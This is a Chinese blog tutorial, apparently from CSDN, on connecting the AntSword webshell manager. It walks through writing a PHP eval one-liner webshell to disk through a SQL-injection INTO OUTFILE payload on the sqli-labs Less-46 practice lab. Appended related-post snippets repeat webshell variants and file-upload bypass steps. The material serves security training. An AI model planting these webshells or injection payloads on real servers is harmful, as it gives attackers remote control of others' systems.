中国蚁剑使用方法

于 2025-07-08 19:13:10 发布
阅读量331 收藏
点赞数 10
CC 4.0 BY-SA版权
文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46633423/article/details/149204751

在这里插入图片描述
找到mysql配置文件

secure-file-priv=

在这里插入图片描述
工作目录

D:\tool\huli\gui_webshell\AntSword\AntSword\antSword-master

重点是tool目录后面 前面大家可能都不一样

添加数据
在这里插入图片描述
一句话木马

3C3F706870206576616C28245F504F53545B22636D64225D293B3F3E
翻译过来
<?php eval($_POST["cmd"]);?>

示例天书第46关上传木马

/?sort=1%20into%20outfile%20"D:\\phpstudy_pro\\WWW\\sql\\sqli-labs-master\\Less-46\\test1.php"%20lines%20terminated%20by%200x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

选择你上传一句话木马的url地址 具体到 你上传的文件名
在这里插入图片描述
这个参数就是连接密码
在这里插入图片描述
完成操作后 可以操作对方的目录
在这里插入图片描述

情分丶
关注
【用一句话木马文件上传漏洞挖掘实战】
m0_68563451的博客
03-03 1503
6.使用AntSword(中国蚁剑）管理工具连接一句话，注意连接密码就是一句话里的值。5.成功将一句话木马作为头像上传，右键点击查看图像，可以拿到图片路径。3.点击上传头像，将一句话木马改为图片形式上传，并开启bp抓包。4.在抓包代码中将".jpg"改为".php",返回抓包结果。#用一句话木马文件上传漏洞挖掘实战。1.点击新用户注册，注册一个用户。2.注册成功后点击我的个人资料。打开火狐浏览器，访问目标地址。
Web安全-一句话木马
liuwei0376的专栏
08-20 4418
概述 在很多的渗透过程中，渗透人员会上传一句话木马（简称Webshell）到目前web服务目录继而提权获取系统权限，不论asp、php、jsp、aspx都是如此，那么一句话木马到底是什么呢? 先来看看最简单的一句话木马： <?php @eval($_POST['attack']);?> 【基本原理】利用文件上传漏洞，往目标网站中上传一句话木马，然后你就可以在本地通过中国菜刀 chopper.exe 即可获取和控制整个网站目录。@表示后面即使执行错误，也不报错。eval（）函数表示括号内的语
BUUCTF Web upload
H18779083518的博客
05-10 627
script language="php">eval($_REQUEST[1])</script>打开后即得flag：flag{d8c839e5-3aa7-40db-9899-858007fc3778}首先尝试一句话木马上传，尝试过多种绕过手段后发现仍然无法上传，于是我们怀疑是一句话木马被黑名单了。方法二：正常情况上传的文件都会存放在Upload，更可况题目就叫upload。方法一：看bp的回显（我没看见所以选择了方法二）成功上传一句话木马后我们尝试寻找木马的存放路径。找到路径后使用蚁剑连接，连接成功。
Web木马与文件上传漏洞
weixin_62707591的博客
06-20 3933
目录 一、认识Web木马 1.1 木马概念 1.2 web木马危害 1.2.1 攻击者留后门 1.2.2 文件、数据库操作 1.2.3 修改web页面 1.3 Web 木马特点 1.3.1Web木马可大可小 1.3.2 无法有效隐藏 1.3.3 具有明显特征值 1.3.4 必须为可执行的网页格式: 1.4 Web木马分类 1.4.1 一句话木马 1.4.2 大马小马 二、初识文件上传漏洞 2.1 文件上传漏洞的概念 2.2 文件上传漏洞的危害 2.2.1 非授权用户的越
中国蚁剑AntSword
04-07
中国蚁剑，又称AntSword，是一款开源的网络渗透测试工具，主要应用于CTF（Capture The Flag）竞赛和网络安全领域的安全测试与分析。这款工具以其简单易用、功能丰富的特性深受安全研究人员和爱好者喜爱。在本文中，...
中国蚁剑源码antSword-2.1.9.zip
09-17
中国蚁剑（AntSword）是一款开源的安全工具，主要用于网络安全测试和Web应用的渗透测试。在本案例中，我们讨论的是其2.1.9版本的源码。这个压缩包"antSword-2.1.9.zip"包含了蚁剑项目在该版本的所有源代码，用户可以...
中国蚁剑2.1.9_内含源码和加载器.rar
11-19
中国蚁剑是一款开源的Web渗透测试工具，以其高效、便捷的操作方式受到许多网络安全专业人士的青睐。版本2.1.9是该工具的一个迭代更新，它提供了更多的功能和优化，以帮助用户更好地进行网站的安全测试。加载器v4.0.3...
中国蚁剑AntSword-v1.1.2-win32-x64
03-21
《中国蚁剑AntSword-v1.1.2-win32-x64：一款跨平台的网站管理利器》 中国蚁剑（AntSword）是一款备受业界关注的开源网站管理工具，尤其对于合法的渗透测试安全专家和日常管理网站的管理员而言，它是一款不可或缺的...
中国蚁剑使用教程.zip
12-12
中国蚁剑使用教程.zip 中国蚁剑采用了Electron作为外壳，ES6作为前端代码编写语言 利用js调用shell执行XSS代码
明小子注入工具+啊D注入工具+御剑后台扫描工具+中国菜刀一句话木马
热门推荐
Jim的博客
08-16 9万+
御剑： 御剑主要用来扫描目标站点的敏感目录，如后台管理页面，cms类型以及版本等 使用： 1.输入目标站点的url，点击扫描 2.扫描结果分析： HTTP响应值为200,代表页面可以访问 双击链接http://../index.asp，进入目标站点主页 双击链接http://../admin/login.asp, 进入后台管理页面 双击链接http://../FCKeditor/_
Day07
Hzzz233的博客
09-06 729
文件类型验证：限制可上传文件的类型，并进行后端验证文件大小限制：设置上传文件的最大尺寸，防止过大的文件上传文件名过滤：避免使用特殊字符和路径遍历攻击，限制文件名格式病毒扫描：使用病毒扫描工具检查上传的文件存储位置隔离：将上传的文件存储在受限的目录中，避免直接访问权限控制：限制文件的访问权限，防止未授权的访问。
CTF文件上传路径靶场
hot_milk1的博客
02-20 925
1、进入目标网页http://192.168.2.62/upload-lab/ 2、上传木马文件hgd.php 3、找不到文件上传路径，打开Burpsuite进行抓包 4、观察题目给出的路径提示，可知该文件类型为MD5编码(用户名)(随机数).php 5、Burpsuite发送到Intruder，添加payload变量 6、用python脚本生成hgd1-hgd99的文件粘贴至Payload设置 7、Payload处理设置为Hash的MD5编码
【渗透测试】|文件上传
yangdan_jiayou的博客
05-29 1327
文件上传成功，根据提示的上传路径得到完整url路径http://192.xx.xx.xx/dvwa/hackable/uploads/cmd.php。url为：http://192.xx.xx.xx/dvwa/hackable/uploads/cmd.php。即：上传一句话木马文件后，蚁剑重构连接服务器，管理服务器的问附件系统等，成功实现了文件上传攻击。完成后，中国蚁剑的主页面出现一条记录，双击该记录，即可打开文件管理界面，如图。填写完成后，点击测试连接，若显示成功，连接成功时，此时可以将该数据进行添加。
web渗透_一句话木马（webshell）_dvwa环境
摸鱼域的空气。
04-04 8399
厄薇娅·瑞尔说，今天是个好日子。 一、什么是一句话木马 <?php @eval($_POST['a']); ?> 先来一段简单的一句话木马，解析下它的构造： @这个符号的作用是抵制错误提示；eval()函数将接收一个字符串参数，并将这个字符串作为命令语句执行；$_REQUEST['a']从请求参数中得到a这个参数的值，请求参数有两种：GET和POST；a参数名（自定义） 而这段代码的意思就是：用POST方法接收变量a，把变量a里面的字符串当做php代码来执行。 也就是说，你想执行什么代码，.
一句话木马上传常见的几种方法
YidaHu的博客
01-06 3万+
1，利用00截断，brupsuite上传利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格，产生0X00上传截断漏洞。 假设文件的上传路径为http://xx.xx.xx.xx/upfiles/lubr.php.jpg ,通过Burpsuite抓包截断将lubr.php后面的“.”换成“0X00”。在上传的时候，当文件系统读到”0X00″时，会认为文件已经结束，从而将lubr.php.
文件上传一句话木马getshell
qq_41620273的博客
12-25 5982
文件上传 文件上传流程: a.文件表单提交 b.生成临时文件(读取临时文件信息) c.后端语言判断该文件是否合规 d.合规则保存文件 一句话木马: 1.在phpstudy搭建的站点www目录下写入一个php文件,访问该网站下的php文件成功: 命令执行函数:system()、Exec()、 Shell_exec() passthru()： 只调用命令，把命令的运行结果原样地直接输出到标准输出设备上 1.如url中输入:XXXX/1.php?a=net user mqu sss /add
中国蚁剑使用教程
最新发布
05-05
### 关于中国蚁剑 (AntSword) 的使用教程 #### 安装过程 中国蚁剑是一款开源的跨平台 Webshell 管理工具，适用于合法授权的安全测试人员和网站管理员。其安装过程相对简单，支持 Windows、Linux 和 macOS 平台。 1...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值